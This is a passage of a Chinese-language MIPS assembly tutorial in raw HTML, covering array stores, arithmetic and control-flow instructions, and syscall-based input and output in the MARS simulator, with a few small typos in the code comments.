(该数组中每个元素地址相距长度就是自身数据类型长度，即4字节， 所以对于array+4就是array[1])</span></span></code><code><span class="code-snippet_outer">          li <span class="code-snippet__variable">$t1</span>, -7    </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__comment">#   $t1 = -7</span></span></code><code><span class="code-snippet_outer">          sw <span class="code-snippet__variable">$t1</span>, 8(<span class="code-snippet__variable">$t0</span>)    </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__comment">#  third array element set to -7</span></span></code><code><span class="code-snippet_outer">          <span class="code-snippet__comment"># 同上， array+8 = （address[array[0])+4）+ 4 = address(array[1]) + 4 = address(array[2])</span></span></code></pre></section><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"></span><br/></p><p style="white-space: normal;max-width: 100%;min-height: 1em;text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="color: rgb(63, 63, 63);font-size: 22.4px;">7 算术指令集</span><span style="color: rgb(63, 63, 63);font-size: 22.4px;"></span></span></p><p style="white-space: normal;max-width: 100%;min-height: 1em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><br/></p><p style="white-space: normal;max-width: 100%;min-height: 1em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"></span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">1. 最多3个操作数</span><br/></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">2. 在这里，操作数只能是寄存器，绝对不允许出现地址</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">3. 所有的指令统一是32位 = 4 * 8 bit = 4 bytes = 1 word</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">    add  $t0,$t1,$t2  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">#  $t0 = $t1 + $t2;   add as signed (2&#39;s complement) integers</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">sub</span>  $<span class="code-snippet__title">t2</span>,$<span class="code-snippet__title">t3</span>,$<span class="code-snippet__title">t4</span>  </span></span></code><code><span class="code-snippet_outer">    #  $<span class="code-snippet__title">t2</span> = $<span class="code-snippet__title">t3</span>, $<span class="code-snippet__title">t4</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">addi</span>  $<span class="code-snippet__title">t2</span>,$<span class="code-snippet__title">t3</span>, 5  </span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">    # $<span class="code-snippet__title">t2</span> = $<span class="code-snippet__title">t3</span> + 5</span>;   <span class="code-snippet__string">&#34;add immediate&#34;</span> (<span class="code-snippet__keyword">no</span> <span class="code-snippet__function"><span class="code-snippet__keyword">sub</span> <span class="code-snippet__title">immediate</span>)</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">addu</span>  $<span class="code-snippet__title">t1</span>,$<span class="code-snippet__title">t6</span>,$<span class="code-snippet__title">t7</span>  </span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">    # $<span class="code-snippet__title">t1</span> = $<span class="code-snippet__title">t6</span> + $<span class="code-snippet__title">t7</span></span>;   add as unsigned integers</span></code><code><span class="code-snippet_outer">    subu  $t1,$t6,$t7  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># $t1 = $t6 + $t7;   subtract as unsigned integers</span></span></code><code><span class="code-snippet_outer">    mult  $t3,$t4    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># multiply 32-bit quantities in $t3 and $t4, and store 64-bit</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># result in special registers Lo and Hi:  (Hi,Lo) = $t3 * $t4</span></span></code><code><span class="code-snippet_outer">    div  $t5,$t6    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># Lo = $t5 / $t6   (integer quotient)</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># Hi = $t5 mod $t6   (remainder)</span></span></code><code><span class="code-snippet_outer">    mfhi  $t0    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># move quantity in special register Hi to $t0:   $t0 = Hi</span></span></code><code><span class="code-snippet_outer">    mflo  $t1    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># move quantity in special register Lo to $t1:   $t1 = Lo</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># used to get at result of product or quotient</span></span></code><code><span class="code-snippet_outer">    move  $t2,$t3  <span class="code-snippet__comment">#  $t2 = $t3</span></span></code></pre></section><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"></span></p><p style="white-space: normal;max-width: 100%;min-height: 1em;text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="color: rgb(63, 63, 63);font-size: 22.4px;">8 控制流</span><span style="color: rgb(63, 63, 63);font-size: 22.4px;"></span></span></p><p style="white-space: normal;max-width: 100%;min-height: 1em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><br/></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">branches分支(if else系列)</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">指令内置了分支条件的比较：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">b</span>  target    <span class="code-snippet__comment">#  unconditional branch to program label target</span></span></code><code><span class="code-snippet_outer">beq  <span class="code-snippet__variable">$t0</span>,<span class="code-snippet__variable">$t1</span>,target  <span class="code-snippet__comment">#  branch to target if  $t0 = $t1</span></span></code><code><span class="code-snippet_outer">blt  <span class="code-snippet__variable">$t0</span>,<span class="code-snippet__variable">$t1</span>,target  <span class="code-snippet__comment">#  branch to target if  $t0 &lt; $t1</span></span></code><code><span class="code-snippet_outer">ble  <span class="code-snippet__variable">$t0</span>,<span class="code-snippet__variable">$t1</span>,target  <span class="code-snippet__comment">#  branch to target if  $t0 &lt;= $t1</span></span></code><code><span class="code-snippet_outer">bgt  <span class="code-snippet__variable">$t0</span>,<span class="code-snippet__variable">$t1</span>,target  <span class="code-snippet__comment">#  branch to target if  $t0 &gt; $t1</span></span></code><code><span class="code-snippet_outer">bge  <span class="code-snippet__variable">$t0</span>,<span class="code-snippet__variable">$t1</span>,target  <span class="code-snippet__comment">#  branch to target if  $t0 &gt;= $t1</span></span></code><code><span class="code-snippet_outer">bne  <span class="code-snippet__variable">$t0</span>,<span class="code-snippet__variable">$t1</span>,target  <span class="code-snippet__comment">#  branch to target if  $t0 &lt;&gt; $t1</span></span></code></pre></section><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">Jumps跳转(while,for,goto系列)</span><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">j</span>  target  <span class="code-snippet__comment">#  unconditional jump to program label target</span></span></code><code><span class="code-snippet_outer">           <span class="code-snippet__comment"># 看到就跳转，不用考虑任何条件  </span></span></code><code><span class="code-snippet_outer">jr  <span class="code-snippet__variable">$t3</span>    <span class="code-snippet__comment"># jump to address contained in $t3 (&#34;jump register&#34;)</span></span></code><code><span class="code-snippet_outer">           <span class="code-snippet__comment"># 类似相对寻址，跳到该寄存器给出的地址处</span></span></code></pre></section><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">子程序调用 subroutine return: &#34;jump register&#34; instruction</span><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">jr</span>  <span class="code-snippet__variable">$ra</span>  <span class="code-snippet__comment">#  &#34;jump register&#34;</span></span></code></pre></section><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"></span><br/></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">跳转到寄存器$ra中保存的返回地址(由jal指令存储)</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"><br/></span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">如果说调用的子程序中有调用了其他子程序，如此往复， 则返回地址的标记就用栈(stack)来存储, 毕竟 $ra 只有一个，（哥哥我分身乏术啊）</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"><br/></span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;text-align: center;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">9 系统调用和输入/输出</span></span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;text-align: center;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">1. 通过系统调用实现终端的输入输出，以及声明程序结束</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">2. 学会使用 <strong>syscall</strong></span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">3. 参数所使用的寄存器：$v0， $a0,  $a1</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">4. 返回值使用：$v0</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.47305389221556887" data-s="300,640" style="" data-type="png" data-w="2004" src="https://wechat2rss.xlab.app/img-proxy/?k=63a7d78a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZqYID3rs2me40MKrFUb7pFiaAqOiblRMgT3Dhmzm4sPxb2nQN6yibMBUgp1nFGVRdy4ZWGrBBtszePA%2F640%3Fwx_fmt%3Dpng"/></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">大概意思是要打印的字符串应该有一个终止符，估计类似C中的&#39;\0&#39;, 在这里我们只要声明字符串为 .asciiz 类型即可。</span><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">下面给个我用Mars4.4的提示：</span><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.1310116086235489" data-s="300,640" style="" data-type="png" data-w="603" src="https://wechat2rss.xlab.app/img-proxy/?k=00cf021e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZqYID3rs2me40MKrFUb7pFYD7ZoXr5n9JgWRibYgSRdZciaIWyjc6Uxlg4ibd0ImNGFTYJfdt6hs5kQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">1. 对于读取整型， 浮点型，双精度的数据操作， 系统会读取一整行，（也就是说以换行符为标志 &#39;\n&#39;）</span><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"></span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">2. <strong>read_string</strong>和<strong>fgets</strong>类似</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><br/></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">举例 打印一个存储在寄存器$2里的整型：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">Print out <span class="code-snippet__built_in">integer</span> value contained <span class="code-snippet__keyword">in</span> register <span class="code-snippet__variable">$t2</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">li  <span class="code-snippet__variable">$v0</span>, 1         <span class="code-snippet__comment"># load appropriate system call code into register $v0;</span></span></code><code><span class="code-snippet_outer">                   <span class="code-snippet__comment"># 声明需要调用的操作代码为 1 （print_int) 并赋值给 $v0</span></span></code><code><span class="code-snippet_outer">                   <span class="code-snippet__comment"># code for printing integer is 1</span></span></code><code><span class="code-snippet_outer">move    <span class="code-snippet__variable">$a0</span>, <span class="code-snippet__variable">$t2</span>   <span class="code-snippet__comment"># move integer to be printed into $a0:  $a0 = $t2</span></span></code><code><span class="code-snippet_outer">                   <span class="code-snippet__comment"># 将要打印的整型赋值给 $a0</span></span></code><code><span class="code-snippet_outer">syscall            <span class="code-snippet__comment"># call operating system to perform operation</span></span></code></pre></section><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">举</span><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">例 </span><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">读取一个数，并且存储到内存中的 int_value 变量中：</span><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">Read <span class="code-snippet__built_in">integer</span> value, store <span class="code-snippet__keyword">in</span> RAM location with label int_value (presumably declared <span class="code-snippet__keyword">in</span> data section)</span></code><code><span class="code-snippet_outer">li  <span class="code-snippet__variable">$v0</span>, 5           <span class="code-snippet__comment"># load appropriate system call code into register $v0;</span></span></code><code><span class="code-snippet_outer">                     <span class="code-snippet__comment"># code for reading integer is 5</span></span></code><code><span class="code-snippet_outer">syscall              <span class="code-snippet__comment"># call operating system to perform operation</span></span></code><code><span class="code-snippet_outer">sw  <span class="code-snippet__variable">$v0</span>, int_value   <span class="code-snippet__comment"># value read from keyboard returned in register $v0;</span></span></code><code><span class="code-snippet_outer">                     <span class="code-snippet__comment"># store this in desired location</span></span></code></pre></section><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">举例 </span><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">打印一个字符串(这是完整的，其实上面栗子都可以直接替换main: 部分，都能直接运行</span><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">    .data</span></code><code><span class="code-snippet_outer">string1    .asciiz  <span class="code-snippet__string">&#34;Print this.\n&#34;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># declaration for string variable, </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># .asciiz directive makes string null 